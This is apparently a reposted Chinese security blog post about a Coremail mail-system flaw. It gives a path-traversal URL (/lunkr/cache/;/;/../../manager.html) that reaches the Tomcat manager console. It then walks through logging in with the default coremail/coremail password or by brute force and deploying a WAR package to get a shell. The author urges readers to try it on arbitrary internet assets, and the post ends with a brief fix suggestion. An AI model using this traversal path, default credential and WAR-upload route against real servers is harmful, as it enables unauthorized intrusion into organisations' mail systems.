在蓝队游啊游的时候，微信群里有老哥发了一张截图，内容说coremail邮箱系统漏洞攻击事件，这就让我这本身困意慢慢顿时充满精神。
利用方法都在上面了，那就找随便找个资产试试(不能确定百分百成功嗷，成功几率咱也不知道)。
url:xxxxxxx 
url+/lunkr/cache/;/;/../../manager.html
访问过去会直接跳转到tomcat控制台，这里你就可以采用coremail/coremail弱口令尝试登陆，或者暴力破解。然后就是部署war包Getshell就ok了。(小鸡肋)
修复建议：对外隐藏tomcat控制台，修改默认口令。
附一张成功的图：
本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。
